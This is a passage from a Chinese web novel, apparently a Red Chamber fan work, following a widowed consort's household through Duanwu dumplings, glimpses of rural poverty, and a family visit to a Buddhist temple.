庆王一听,又是大礼叩拜:“圣上厚恩,是我等宗亲之福啊!老臣代诸多宗亲叩谢圣上!” 圣上脸略微一热,这还啥也没干呢,就被架上了,不过他还是劝走了庆王,然后忍不住松了口气。至于说找人商量宗亲出路的事情,还是往后挪一挪再说,儿孙自有儿孙福,现在宗亲不还能活得下去嘛,等以后真精穷了再说。 要相信后人的智慧!圣上如是想道,又开始去批阅桌案上的折子。戴权低眉顺眼地站在后头,就像是一尊无思无想的木偶。不过,当圣上想要干点什么的时候,他又悄无声息地冒出来,提前给圣上准备好茶水、点心,等估摸着时间差不多到了,便轻声说道:“皇爷,该休息一会儿了!” 到了圣上这个年纪,一方面警惕儿子夺权,另一方面就要追求长寿。他不吃丹药,不信什么长生,但是却笃行养生之道。批半个时辰折子,就起来活动一会儿腿脚,早起先不睁开眼睛,而是躺在那里叩齿一百下,搅海三十下……连饮食也不再是像年轻时候一样随自己的心意,而是按照太医的意思,菜单按照时令而动,像是这春天,他的餐桌上就会有香椿蛋饼,还有油盐炒枸杞芽,野菜头拌香干之类,总之,不光要享受,还得养生。 圣上看一看暖阁一侧立着的珐琅座钟,点了点头,便搁了朱笔,起身在书房内略微活动起来,刚转悠了几圈,外头就听人传话:“贵妃娘娘叫人给皇爷送汤来了!” 要不怎么说甄贵妃善于体察圣意呢,以前不是没有妃嫔往御书房送汤汤水水的,但是多半是送什么补汤!问题是,圣上什么时候缺过滋补,而甄贵妃就不一样了,一见圣上平时饮食,就明白了圣上的心意,三五不时给圣上送来的就是各种清淡的羹汤,像是这次,送来的就是玉竹菌菇汤,里头半点荤腥也没有,纯用几种新鲜的菌菇吊出鲜味,汤水清亮,入口鲜美。圣上吃了一盅,便笑道:“去含章宫中,跟贵妃说一声,朕忙完了就过去!” 戴权连忙答应了下来,吩咐自己小徒弟,先赶紧去含章宫传话。要不是圣上这里离不开他,这拍马屁的事情,他高低得亲自去才行! 平王府这会儿也吃上了新鲜的野菜和菌菇,居然还有一些口蘑,虽说是晒干的。 中原这边人工种植蘑菇已经很多年了,最开始种的就是香菇,后来也增加了一些其他蘑菇,但产量其实很低,更多的还是野外采集。菌菇类的东西鲜食好吃,晒干了也别有风味,算是低配版本的山珍。但是口蘑却一直到现代才开始实现人工种植,在这之前,口蘑只产在口外,除了靠近口外的几个地方每年还有机会吃上新鲜的口蘑,其他地方也只能吃点干货。 这玩意放在口外,真不是什么值钱的东西,那些商人跑过去 ,一块陈茶砖就能换一大麻袋的干品,新鲜的稍微贵一点,也贵不到哪儿去,但是运回关内,这些就是稀罕物事了,虽说不至于卖出天价,但也绝不便宜。 自从顾晓穿越过来之后,平王府的餐桌上,各种菌菇就变成了常客,要不是顾晓不懂什么菌菇种植技术,都想要让西山庄子上自个种各类菌菇了。西山那边知道主子的喜好,不光叫庄子上的佃户农闲的时候上山采集菌菇,还向附近的山民农人收购,如此才保证了平王府内的菌菇供应。 这菌菇干货一年到头不缺,像是这等鲜品,却只有到了节令才有。 前几日下了一场雨,庄子上的人就上山采了不少菌菇野菜回来,怕隔了夜不新鲜,就巴巴地给王府这边送了过来。顾晓当家之后,虽说规矩严了不少,但是出手也大方,只要他们肯干,赏钱都不少。去年庄子上种植瓜果养殖牲畜赚了不少钱,年底的时候,便是那些佃户,都多分了二两银子还有不少年货,像是庄子上这些管事,更是多拿了一年的月钱,虽说比起之前中饱私囊有所不如,但也不怕被主家知道了,直接给抄了家,落个一场空。 果不其然,这次送了新鲜的菌菇野菜还有偶尔从路过的行商那里买到的干口蘑过来,主子们一高兴,直接给了不少赏钱,回去之后大家分一分,可比卖给外头强得多。 当晚桌子上都多了几道菌菇和野菜做的菜。这年头的野菜其实真不怎么好吃,不够肥嫩,入口也很粗糙,除了一点芽叶还算鲜嫩之外,其他的地方若是不多加点油,那入口就要拉嗓子。厨房那边为此废了不少功夫,又是焯水,又是用香油拌,甚至直接跟肉一起做成了丸子,甚至还拌了一些馅料,包了一些饺子,用油煎了,当做点心送到了餐桌上。 徒嘉钰之前可没吃过什么野菜,对此觉得很是新奇,他今儿个没吃什么米饭,反倒是吃了一个野菜团子,几个野菜肉馅煎饺,还有一碗春笋野菜鱼丸汤,竟是吃得略微有点撑。用茶水漱过了口,徒嘉钰忍不住摸了摸肚子,说道:“妈,这野菜还挺好吃的,原来外头那些人都吃这么好呢!” 贾瑚在一边也是一副深以为然的模样,然后就看到顾晓还有一边伺候的嬷嬷丫头都笑了起来。 顾晓笑道:“嬷嬷,快跟这两个小东西说一下,这外头野菜是不是真的好吃!”上辈子也就是后来大家生活条件好了,才开始争着吃野菜,顾晓买房的那个小区,绿化带上的那点子野菜才长出来没多久,就被小区里的老太太给挖了个干干净净,这些老太太连小区观赏竹林里的笋都挖,顾晓有一次好奇,问楼下老太太讨了两根,回去做了春笋排骨汤,结果差点没把汤都倒掉,那里头的笋,那叫一个苦啊,哪怕是焯了水,吃起来也还有些麻嘴,结果其他人家倒是吃得有滋有味,也不知道是怎么个做法。而在顾晓比较小的时候,家里条件还很一般,那会儿就算是地里都是什么荠菜、马兰头,也是没人去挖的,这肚子里一点油水都没有,再吃什么野菜,那不是折腾自己嘛! 吴嬷嬷叹道:“娘娘小王爷你们都是天生的贵人, 哪里知道外头是怎么吃野菜的!这就是青黄不接的时候,大家糊弄肚子的!咱们家做野菜,只选那些嫩叶嫩芽,就这还是配上香干笋丝之类的,再用香油拌得顺滑了,你吃到嘴里才不拉嗓子。外头谁家有这样的配菜和功夫,野菜采回来,洗干净切几下放水里煮,里面能掺一点杂面,都算是不错了,吃的时候得伸着脖子硬往下面咽。就这,还不敢多放呢,野菜长出来就这几天能吃,过几天就老得跟草一样,只能用来喂猪喂羊,这几天长出来的野菜,得过水晒干后慢慢吃,总要等到地里有别的东西能吃之后,才能不紧着野菜吃呢!” “还有别的东西能吃?吃什么?”徒嘉钰忍不住问道。 吴嬷嬷叹道:“还能吃什么,榆钱槐花都是好东西,生的也能吃,也可以蒸着吃,只是这些都只能是哄哄肚子,吃下去根本不当饱的!我小时候,家里会剥了榆树皮碾成榆皮面,吃野菜汤的时候,里面放点榆皮面,汤就稠很多,喝下去更当饱!要是逢年过节能用榆皮面混上一点杂面做顿饺子,就算是殷实人家了!” 徒嘉钰和贾瑚只听得目瞪口呆,树皮还能当面吃?贾瑚有些傻乎乎地问道:“那地里的粮食哪儿去了?” 吴嬷嬷摇了摇头,说道:“我不是侯府的家生子,是后来被卖到侯府的!我记得我们家以前就是村东头地主家的佃户,一年到头交了租子和田税,就只能剩下一点粮食,后来我们兄弟姐妹一天天大了,愈发不够吃,眼看小的都要饿死了,家里没办法,将我跟我姐姐都卖给了人牙子,这样不光能得几两银子,还能剩下几口饭,后来我听说家里自个也买了一亩地,干脆只种番薯和山药蛋,总算能将一家子的肚子糊弄过去了!”说到这里,吴嬷嬷顿时有些黯然起来。 吴嬷嬷老家虽说也在京畿之地,但是离神京还是有一二百里路的,她也就是偶尔见过一次同乡,才知道老家的情况,前些年还托人送了一些银钱回去,但是之后却再没了半点消息。算算时间,她父母只怕早就没了,她跟几个兄弟也早已生疏,便也不想再回去,横竖留在顾晓身边,顾晓不会叫她没了下场,回去又干什么,难道指望侄子给自己养老吗?她是知道几个老姐妹的,也是没了孩子,夫家也不容,想要娘家侄子养老,结果回去没多久,就被骗光抢走了养老钱,能干活的还好,不能干活的直接就被撵出了家门。这官府能管儿孙不孝顺父母,可不会管人家孝不孝顺姑姑,所以,你没了价值,死了也是白死。 徒嘉钰天真地说道:“番薯和山药蛋也挺好吃的!” 顾晓叹道:“你们啊,回头得真的叫你们过一过寻常百姓的苦日子,要不然,真成了‘何不食肉糜’了!” 徒嘉钰可是听说过这个典故的,这会儿顿时撅起了嘴,然后就听顾晓说道:“咱们家番薯和山药蛋又不是当做主食天天吃,而是用来做菜做点心,光是你喜欢吃的番薯条,想要炸得外酥里糯,就得用多少油,外头人家一年都用不了这么多呢!何况,你还得蘸酸梅酱或者是番茄酱,这两样果酱熬制起来,就得放多少糖?你问问嬷嬷,她小时候可吃过糖吗?” 吴嬷嬷摇了摇头:“还吃糖呢,外头采点甜草茎糊弄一下自己就算了!我记得村里有个人家找到了一个蜂窝,被蛰得半死,也没舍得吃里面半点蜂蜜,都拿去卖了!卖了钱好换成粮食,要不然,一家子就得饿死!便是村头那地主家,也只有过年的时候,才能吃上一点饴糖!” 徒嘉钰很难想象,这世上居然还有吃不起糖的人家,在王府,顾晓都控制着他们几个孩子的吃糖量,生怕他们因此蛀了牙,而外头的小孩,居然一口糖都吃不到。这么一想,只觉得碗里的饭菜也不香了。 “行啦,不说这些了,你们要是想知道外头是个什么情况,等有机会咱们去看看,别到时候喊苦喊累便是了!”顾晓琢磨了一下,觉得还是不能让孩子跟中下层太脱节,当他们意识到外面的世界并不如何美好的时候,才会更加珍惜如今的生活,不至于犯下什么大错。 徒嘉钰用力点了点头,说道:“嗯,我肯定不喊苦喊累!” 贾瑚对此也有些期待,他如今就是王府和荣国府两头跑,一路上根本不会看到什么出身底层的人,而王府和荣国府,哪怕是粗使的下人,日子跟外头比起来,都不知道好过到哪儿去了,起码能填饱肚子,每日饭菜里也都有荤腥,放在外头,地主家也不敢这么吃呢! 顾晓见他们这副模样,便琢磨着,等从惠泰寺回来,就叫他们知道,什么叫做人间的参差。! 第 72 章 转眼就到了五月,越是接近除服,王府的空气似乎都躁动起来。 去年端午的时候,顾晓也懒得多折腾,今年就叫人包了许多馅的粽子,甜的咸的都有,并没有包得很大,而都只有末儿拳头大小,如此就可以多吃几l个,也不会觉得腻! 端午给各处的年礼,主要就是自家包的各种粽子,都用签子写了馅料的名字,免得谁家吃到不喜欢吃的口味,觉得王府的节礼不够地道。 各家送来的也都是自家包的粽子,神京这边粽子多半是豆沙或是红枣粽,用的除了糯米,还有黄黍米,跟往年倒是没多大区别。 平王府的节礼送到隆安侯府,隆安侯夫妇倒是挺喜欢,他们本来就是南方口味,吃粽子还是喜欢吃咸口的,倒是小辈们都是生在神京,长在神京,反倒是对家乡的口味没什么感觉。 “姑娘果然是随了咱们,瞧瞧,她也喜欢吃咸口的!这肉粽,做得地道!”粽子小,即便怕粘食吃多了不克化,隆安侯夫人还是吃了整整一个,忍不住对着隆安侯说道。 隆安侯胃口可就比妻子大多了,不光吃了个肉粽,还吃了一个鲜肉蛋黄粽,这才停了筷子,笑道:“可不是,这粽子做得精巧,吃着也爽利,以后咱们家也这样包,可以多吃几l种口味!” 隆安侯夫人笑道:“我记得之前家里几l个孩子,就姑娘喜欢吃咸口的,偏生这边包的粽子还大,每次吃了半个就饱了,难怪她现在将粽子包得这么小,叫别人知道了,还当他们小气呢!” “小怎么啦,谁家粽子做这么多种口味,但凡嫌弃的,那肯定就是丧了良心!”隆安侯顿时吹胡子瞪眼起来,他年近四十才有了顾晓这么个闺女,虽说嫁得不远,却也难得能见,前些年姑娘日子不好过,他每每看到徒宏远,恨不得给他几l拳头,如今徒宏远那厮没了,女儿升级做太妃了,他这个当爹的见面还是不方便,真是岂有此理。 “行啦,回头他们府里就出孝了,姑娘说了,过几l天就去惠泰寺,咱们要不也去拜个佛?”隆安侯夫人提议道。 隆安侯算了算时间,再有个五天,便是休沐日,不用去衙门了,的确可以一家子去惠泰寺走一走,到时候“巧遇”一下自家姑娘,那不是理所当然的事? “要带着孩子吗?”隆安侯夫人一想到自个院子里还住了五个孙女,顿时就有些头大。 隆安侯直接说道:“就一天功夫,叫她们继续跟着府里女先生念书便是了!” 隆安侯这么一说,隆安侯夫人顿时安下心来,没错,你们小孩子家家的,正该跟着先生念书的时候,没事干什么要去求神拜佛啊,没得移了性情! 世子夫人听说这事,倒是没什么想法。她嫁过来的时候,顾晓还是个毛丫头,她也是挺喜欢这个小姑子的,又聪明漂亮,还不是什么喜欢挑事的。嫁的是王爷,虽说王府没什么权力,但是儿子女儿有个王妃太妃做姑姑,以后说不得可以娶个宗室郡主县主做媳妇,体面又实惠。而且,她其实也知道, 婆婆之所以将几l个孙女养在自个身边,那是因为二弟妹起了蠢念头,婆婆又怕光养二房的,显得一碗水端不平,这才叫她也将孩子送过去。 世子夫人也乐得如此,婆婆私房丰厚,几l个孙女讨了她的欢心,怎么着都能多拿几l年做嫁妆,婆婆跟小姑子又亲厚,只要在小姑子那边提几l句,王府送几l样内造的东西做嫁妆那就更体面了。 也就是二弟妹拎不清,就想着娘家那点事,你都已经是顾家人了,孩子也是姓顾,你为孩子着想,倒想着拿着孩子的婚事去接济刘家,这不是坑孩子嘛! 事实上,刘氏现在就很不开心。婆婆之前一点都不管孙子孙女的事情,见到了嘴上夸几l句,逢年过节给点东西,也都是随大流。他们二房将来又没有爵位,这钱财上头长辈再不偏着点,等二老一走,二房可就亏死了。 如今听说公婆打算趁着周末去庙里拜佛,其实就是想要趁机见一见做太妃的小姑子,刘氏就动了心,小姑子从小就是个手松的,自家孩子跟过去,哪里没有好处。像是逢年过节的节礼,顾晓给娘家几l个孩子的都是实惠东西。像是这次端午节,给隆安侯府的礼单里就单列了给几l个侄子侄女的。给侄子的是笔锭如意样式的锞子,侄女的就是实心的竹节镯和荷叶莲蓬镯,一个一两,不算做工,在外头都能换上十五六两银子。要是到庙里遇上了,做姑姑的只有更大方的。 她倒是不知道,之前婆婆带了一大堆东西去了王府,隆安侯将东西带回来的时候就是放在外院,根本没入公库,连世子夫人都不知道,等将给顾晓的送过去之后,才把剩下的清点入库,要不然的话,只会嫌顾晓太小气,都嫁出去这么多年了,还要占娘家便宜。 结果刘氏刚想叫两个女儿准备起来,然后就听说,老两口不打算带孙女过去,而是叫孙女继续在家念书。你们衙门那天都休沐,却叫孙女在家读书,人干事! 只是刘氏这性子,也只能是心里头嘀咕,叫她说出来,那是万万不敢的。她娘家如今处境糟糕,她要是犯了口舌,回头顾家不顾她生下的几l个儿女,硬是将她休回去,她可就完蛋了! 刘氏心中哀怨,但她如今除了晨昏定省的时候能看到女儿,其他时候根本见不到,想要在女儿那里递个话都不行,最终也只能偃旗息鼓。 而雍王府那边,雍王妃也在吃平王府送来的粽子。 她倒是喜欢吃甜粽子,对咸粽子也不拒绝,吃了一个香菇肉粽之后,便一门心思吃起了甜粽。平王府的甜粽做得也精巧,而且还加了一些碧粳米和胭脂御田米,做出来的粽子便是茶绿色和桃粉色,看着格外喜人。而加了碧粳米的粽子里面放的是红豆沙,加了胭脂米的粽子里加的却是筛过的绿豆沙,吃起来不仅不觉得甜腻,反而有些清新之感。 “弟妹果然是心灵手巧!”雍王妃忽视了顾晓大概率不会自己裹粽子的事实,忍不住夸奖道。 “可不是,粽子里头放红豆绿豆点缀的是见过,竟没有见过直接用碧粳米和胭脂米着色的!”孙嬷嬷也是夸 赞起来。 “弟妹这般玲珑心思,咱们家送过去的粽子,倒显得有些平常,罢了,回头咱们家也想几l个新鲜花样,明年给隔壁送过去!”雍王妃想了想,又吩咐道,“王爷一向不喜欢吃太甜腻的东西,这两种粽子,也送过去给王爷尝一尝!至于周侧妃那里,她不是要好生调理身体,好给王爷再生一个吗?那倒是得补一补,将这几l种肉粽给她送过去吧!” 下面几l个丫头答应下来,正巧给周侧妃送粽子的时候,雍王就在那边,过去的丫头也是嘴巧,便说道:“娘娘听说侧妃娘娘家里原本是南边的,正巧隔壁平王府送来了些南边的肉粽,娘娘吃着很是地道,便叫奴婢给侧妃娘娘送一些过来!” 周侧妃听了,脸色略微一变,她在雍王面前素来保持形象,从不肯大吃大喝,一筷子菜能吃好几l口,这会儿王妃来个她应该喜欢吃肉粽,岂不是叫王爷误会了她的形象,当下强笑道:“多谢娘娘惦记着,只是我家虽说原本是南边的,我从小也是在京里长大,还真不知道肉粽是个什么滋味,平常吃的也是甜口!” 那丫头赶紧说道:“原来是这样,奴婢回头便回了娘娘,再给侧妃娘娘送一些甜粽过来!” 雍王笑道:“你们娘娘倒是记得家里姐妹,那本王的呢?” 那丫头忙说道:“回王爷的话,娘娘之前已经叫人送前头去了!” 雍王点了点头,他可以不喜欢吃,但是你不能不想着他!等着正院送粽子的丫头走了,雍王便笑道:“把盒子开了,本王倒要看看,这肉粽是个什么样!” 周侧妃的丫头素琴赶紧开了食盒,里头放着十个肉粽,系着不同颜色的丝线,上头还用浅绿色的签子写了标签,雍王凑过来念道:“鲜肉蛋黄粽!”顿时来了兴趣,看着天色已经不早,便叫人先将粽子剥开,又拿银刀切开,自己夹了一筷子吃了,笑道:“这粽子倒是咸鲜兼具,以前竟是没吃过!”然后又看向周侧妃,说道:“这晚上吃这个不克化,明儿个叫他们热了当早点吧!” 周侧妃见雍王喜欢,忙说道:“王爷要是喜欢,回头咱们再包一些!” 雍王摇头说道:“这玩意也就是吃个新鲜,过了这个节气,谁还吃这个!” 对于雍王又在周侧妃那里留宿的事情,雍王妃已经懒得多管了,自家这个王爷就是个怜弱的,心疼侧妃没了孩子,你能怎么办? 她听了丫头回报之后,便说道:“王爷在哪儿,也是咱们能管得了的,平王府过几l日也就除服了,回头咱们家也正经下了帖子,请他们上门吃酒!” 如今两府里走得近,一帮孩子还三五-不时爬墙过去呢,要不是不方便,只恨不得在围墙那边开个门出来,对于平王府的事情,雍王府这边也知道一些,因此,孙嬷嬷便提醒道:“隔壁太妃娘娘早就说了,除了服,便去庙里祈福呢,娘娘要是想要请酒,也得再等一些时日!” “我倒是忘了这事!”雍王妃一怔,脸上便露出一点羡慕来,她虽说能做后宅的大半主,但是,府里真正的主人 还是雍王。雍王自个倒是三五-不时在外头吃酒看戏,寻僧问道,但是内宅女眷,除非是出门做客,或者是进宫朝贺,否则的话,都是不好随便出门的。 雍王妃又暗自羡慕了一把自家妯娌,然后想了想,便说道:既然如此,那就等一段时间吧! ?微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( 这一日一早,平王府的马车就低调地从角门出发了。 顾晓带着徒嘉钰和末儿坐在头一辆朱轮华盖车上,马车非常宽敞,走得也不快,坐起来并不算难受。因着荣国府还没真的出孝,贾瑚又是家里的承重孙,因此,端午过后就放了他的假,等到他们从寺里回来之后,再来上课。 徒嘉钰原本在外头骑马,结果走了没多远,就觉得路上尘土太多,有些受不了了,还是钻进了顾晓的马车里。这会儿带着末儿坐在窗边,看着外头的景象。 虽说是内城,但是街道上依旧颇为繁华,路边摆了不少摊子,还有人沿街叫卖,一些官员坐着轿子去上衙,就叫长随在路边买一些早点带着路上吃。 外头的饭菜总是香的,明明在府里已经用过早膳了,徒嘉钰依旧只看得两眼放光,末儿也有些流口水。 顾晓笑着吩咐随行的人买一些吃食,不光是几l辆马车上的主子嬷嬷丫头,连同护卫也都分到了不少烤饼,油饼,炸秦桧之类的。 王府的护卫虽说有编制,但属于那种没有前途的。在王府,你就算混到侍卫长,也就是个六品,也捞不着什么外快,便是王府的长史说是五品,实际上手里也无多少权柄,无非就是日子轻松,听着体面罢了!当然,如今也不是开国那会儿,编制多,如今你家里没点关系,还想要在王府做侍卫?一些只想着敛财的王府,甚至还会私底下买卖这侍卫的缺,买缺的钱,几l年都捞不回来,也就是面子上好听罢了。 平王府还没到这个份上,府里的侍卫一般都是出自那些落魄的勋贵旁支子弟。自打顾晓掌家之后,对这些属官侍卫都颇为宽厚,除了正常的俸禄之外,逢年过节还有赏赐。这会儿大家又分了不少吃食,哪怕不值几l个钱,也是一番心意,一个个都记在心里。有的直接就在马上吃了,有的就将东西先用油纸包好,放进褡裢里,回头饿了再吃,甚至还有想着带回去给孩子的。 出了内城,外城人倒是更多,却不如内城繁华,多的是在京中讨生活的,街边即便也有摊贩,也远不如内城那些看起来干净体面,还有些光着上半身的力夫在扛包干活。 “妈,这些人看起来都好瘦!”徒嘉钰看到一个肋骨都凸出来的汉子,正吃力地扛着两袋粮食往前走,腰几l乎已经跟地面平齐,不由说道。 顾晓摸了摸徒嘉钰的头,说道:“他们能找到活干,已经算是不错的了,还有一些连活计都找不到的,只有过得更艰难的!” 徒嘉钰吃惊地瞪大了眼睛,末儿倒是还没意识到这些,只是四处张望,又遗憾没把白白和花花一起带出来玩耍。 徒嘉钰又看了一阵子,在内城,几l乎看不到什么女子,便是摆摊叫卖的,也多是男人, 但是在外城,能看到的女子就很多了,只是看起来多半面黄肌瘦,身上衣服也是补丁叠补丁,有的在摊子上支应,有的在井水边洗衣,还有一些半大的女孩子,干脆赤着脚,挎着个篮子沿街叫卖。 徒嘉钰整个人都有些蔫蔫的,干脆坐了回去,不想再看了。王府里头,便是最底层的小丫头,那也都穿着体面,头发梳得整整齐齐,看起来很是精神,结果外头那些女孩子,居然连鞋袜都穿不起。 顾晓之前也没见过这样的场景,这会儿见徒嘉钰这般,一时间不知道该说什么才好。 马车一路出了城,城门卫一看马车上挂着平王府的漆牌,随行的侍卫一个个都骑着高头大马,哪有敢拦的道理,直接放行。结果就在城门口,徒嘉钰又看到了许多乞丐。 说是乞丐,其实是外头来的难民。哪怕到了端午,其实已经不算是青黄不接的时候,地里已经有了菜,甚至若是种的是冬小麦,这会儿都收了。但是,京中豪门众多,都想着在京城附近置办田亩,但是,这边是买的多,卖的少,想要置田,自然只能是从那些底层的小民手里去买。而对于失去了土地的农民来说,就开始面临严重的内卷,以前自家有地,只需要给朝廷交粮税就可以了,如今不光粮税要交,还要交租子,以前一家人种个十几l二十亩地,就能勉强过活,如今起码得种三十亩才行,要不然,打得粮食叫了租子粮税之后,根本剩不下什么。这么一来,就有一部分没地的农民连当佃户都没法当。为了不饿肚子,他们只能往神京跑,企图找个活路。 问题是小农经济时代,哪有多少工作岗位能提供给失地的农民,城里许多贫户都养不活自个呢!这些人也没路引,进不了城,只能就待在城外,靠着顺天府或者是城里富贵人家偶尔的赈济过活。 顾晓如今意识到,为什么许多高门大户出行要净街了,就是所谓的大老爷心善,见不得穷人。既然没法让穷人消失,那就只能想办法看不见了。 好在也就是城门口遇上了一些,城外路上的行人固然行色匆匆,但是看起来都还算不错,毕竟,这儿是官道,没点根底的,别想在上头走。 徒嘉钰瞧着外头初夏的风光,心情也慢慢好了一些,因又问道:“妈,还有多久啊?” 顾晓略微估算了一下距离,便说道:“再有个小半个时辰,也就到地方了!” 惠泰寺虽说修在城外,名气却并不小,寺庙直接占了一个小山头,又做的一手好素斋,便常有达官贵人过来,香火便日渐旺盛起来。 一行人还没到山门口,便有知客僧人带着一众小沙弥过来迎接。 虽说是佛渡有缘,但是,素来有钱有权的人在佛前更有缘分一些。平王府之前就给庙里捐了一笔香油钱,这会儿还打算在庙里办一场法-会,小住几l日,铁定不会少了供奉,自然这些僧人也殷勤,早早就清理了两个清静的院子出来,供王府一众女眷居住,至于随行的护卫仆役,就只能另住别处了。 春香春燕她们扶着顾晓下了车,徒嘉钰自个踩着脚踏从 车上跳了下来,末儿也想自己下来,他奶娘却怕他一个不小心摔着,还是将人抱了下来。 那知客僧一看几l辆车上下来了不少孩子,知道是王府的小主子,当下愈发谦和起来,连忙说道:“阿弥陀佛!各位施主,我们方丈之前专门为几l位小施主请了护身符,亲自开了光,又在佛前供了好几l日,等一会儿几l位小施主进去拜了,正可以戴上!” 顾晓谢道:“那倒是有劳方丈大师费心,还请前头引路,我等好进去礼佛!” 惠泰寺这一代的方丈法号海澄,是京中有名的高僧,在僧录司那边也是挂了名的,他虽说没有亲自出门迎接,这会儿也已经在大雄宝殿门口等候。 见得顾晓一行过来,便上前行礼:“阿弥陀佛,各位施主,贫僧有礼了!” 顾晓瞧着他身上袈裟上的金线,就不知道他这个贫僧贫在什么地方,不过嘴上却不好这么说,只是同样合十行礼说道:“见过海澄大师!” 李氏可就虔诚多了,别看她在府里头供奉药师佛不再亲力亲为,最多就是初一十五过去上一炷香,磕个头。什么吃斋茹素,数佛豆佛米,抄经念经之类的早就不干了,这会儿却是自称信女,看着海澄大师的眼神都似乎要放光。 海澄大师倒是不以为意,作为寺庙的方丈,他自然知道这一行人里头,谁才是真正的财主。要是先平王还在,这位侧太妃或许还能捐出不少香油钱,可如今呢,她难道能不顾以后的日子,将私房钱都拿出来礼佛? 因此,虽说对李氏还算客气,但是对海澄大师来说,这次的主角还是顾晓这个太妃,哪怕这位太妃不算虔诚,来拜佛就是走个过场呢! 引着一行人在大雄宝殿上了香,海澄大师果然从佛前取了一叠子护身符下来,装进专门的荷包里,叫他们系在身上。这荷包也是庙里找人定制的,一面绣着莲花,一面绣着几l行经文,连荷包上的络子用的都是卍字结。几l个孩子拿在手里翻来覆去地看了,又小心翼翼地亲手在腰间系好,末儿年纪小,也没戴什么汗巾腰带,便系在项圈上。 之后,海澄大师便又跟顾晓说了之后法事的一干流程,意思就是,施主,你该充值了!! 第 73 章 惠泰寺的法会做得颇为盛大,之后还专门举办了一场俗讲,说一些因果报应,当做故事听倒也有些意思。 顾晓又捐了一笔香油钱,只当是在这边小住的房费了。 这边虽说山势不高,但山上也远比山下凉快不少,山下槐花早就谢了,山上还开了不少。寺里的素斋之中就专门添了槐花包子,里面加了香干和鸡蛋,吃起来又有一股清新的槐花香,顾晓很是吃了几个,不由遗憾春天的时候没弄点香椿尝尝鲜。 吃过一次之后,顾晓就明白,惠泰寺的素斋之所以出名,应该是用了不少菌菇做了素高汤提鲜,或许对于别人来说,这很是难得,但是王府如今厨房的提鲜剂都更新换代好几回了,像是现在,用的就是用干香菇、干贝、虾皮紫菜作为材料,烘干磨碎,炒菜炖汤的时候加一勺,鲜味就出来了。像是惠泰寺用的这种素高汤,滋味比起府里的提鲜粉就差了不少。 因此,大家吃了一顿之后,便有一种见面不如闻名之感。好在这边的素斋特色不仅是鲜美,也是素菜荤做,将素菜做出荤菜的味道来,这一点就比府里的厨娘水平强不少。 这些和尚对顾晓他们这样的大主顾还是很客气的,不光饭食做得精细,还有茶水点心甚至是水果供应。 大凡是寺庙,都是地主,像是这边山上山下的地,大多就是惠泰寺的寺产。这边也是善于经营的,山下种粮食,山上就种果树。 这会儿正是樱桃、枇杷和桃子成熟的季节,一行人午睡之后坐一块喝茶,便有小沙弥洗了几盘子送了过来。 看见送来的果子,徒嘉钰和徒嘉泽便想着要去果园里面走一走,佳婉和佳姝却是有点胆怯,她们自出生起就没出过二门,今儿个出了王府,看见城墙的时候都有些傻了,等出了城,甚至有些空落落地惶恐起来,感觉没了院墙,就没了安全感,这会儿见徒嘉钰和徒嘉泽问她们要不要去,姐妹两个犹豫了一番,总算是鼓起了勇气,小声小气地说道:“我们也跟着去!” 顾晓笑道:“想去就去,有什么了不得的,叫丫头婆子们跟着,还怕丢了不成!” 一边黄氏想要说什么,结果周氏和陈氏都没吭声,只得也闭上了嘴。 佳婉和佳姝听到顾晓这般说,便像是得了鼓励一般,用力点了点头,从座位上站了起来,看着徒嘉钰和徒嘉泽,细声细气地问道:“我们现在就去吗?” 徒嘉钰理所当然地说道:“当然是现在去了,我们还可以看看能不能自己摘几个果子回来!”说着兴冲冲地对顾晓说道:“妈,我一会儿摘了果子回来请你吃!” “好,那我可就留着肚子等着了!”顾晓笑呵呵说道。 李氏眼巴巴地看着徒嘉泽,希望也能得到儿子这么一句话,结果徒嘉泽一点都没意识到这一点,忙不迭地说道:“那就快去吧,再等一会儿,太阳都要下去了!” 李氏顿时忍不住脸一黑,想要开口,又忍住没说。末儿这会儿正在惦记他的两条小狗,压根不想出门, 只缠着顾晓叫人回去将两条小狗也一块接过来。 几个孩子在寺庙里本来穿的也是方便活动的衣服,顾晓叫了个小沙弥问他能不能带几个孩子去逛一逛果林,小沙弥一口就答应下来,别说人家是财主,就算人家没给什么香油钱,他们这样的身份,又有多少地方不能去呢? 那小沙弥也是个机灵的,怕有人冲撞了这几个金贵的小施主,赶紧先叫人去果林那边清场,这才在前头引路,带着徒嘉钰等一行人往果林方向而去。 几个孩子一走,见黄氏一副欲言又止的模样,顾晓笑道:“有什么事,尽管说便是,难道我是听不进人话的人吗?” 黄氏蠕动了一下嘴唇,还是说道:“按理妾不该开口,妾原本就是个庄子上的丫头,但是家里爹娘也跟我说,女子不好抛头露面,在家的时候,也只是在屋里做绣活,可两个姑娘金枝玉叶……” 顾晓听黄氏这般言语,倒像是觉得自己害了两个丫头一般,不由有些无语,一边周氏连忙说道:“你说这些走什么,娘娘也是一片好意。而且姑娘还小呢,还没到男女大防的年纪,又那么多丫头婆子带着,出去玩玩又怎么了!” 黄氏顿时脸涨得通红,不知道该说什么才好,顾晓叹道:“知道你是一片爱女之心,只是,身为女子,也就是在娘家的时候方有一些自在日子,她们难得出来一次,要是还跟在府里一样,被拘着不准走动,那这舟车劳顿地出来作甚?” 黄氏只得红着脸,起身跟顾晓谢罪,顾晓摇了摇手,说道:“你也别太担心,以后两个姑娘虽说做不得什么郡主,但是一个县主总是有的,有着这样的身份,婚事上又有谁敢多挑剔不成!” 黄氏怕的就是这个,见顾晓这般说,放心的同时愈发尴尬起来,只恨不得地上有条缝,好让自己钻进去。也是自己这些时日过得好了,竟是忘了自己的身份,自己这个生母,大家叫一声“太姨娘”,其实也就是比下头的奴婢高半头罢了,姑娘正儿八经的母亲还是太妃,便是将来孝顺,自己这个生母还得排在周氏这个养母后头,如今自己倒是来操这个心,就显得僭越。也亏得顾晓是个大度的,换个人只怕就得将女儿抱到别处去养了。 实际上,顾晓听到黄氏这么说,还真有点理解,为什么各家的庶女大多数还是养在嫡母身边了。府里几个太姨娘,出身都不能说是一般,只能说是低微。李氏好歹是良家子,周氏也是正经选出来的宫女出身,其他几个,那都是王府的奴婢。要说美貌和伺候人的手段,都是有的,但是论起眼界,就差得太远了。 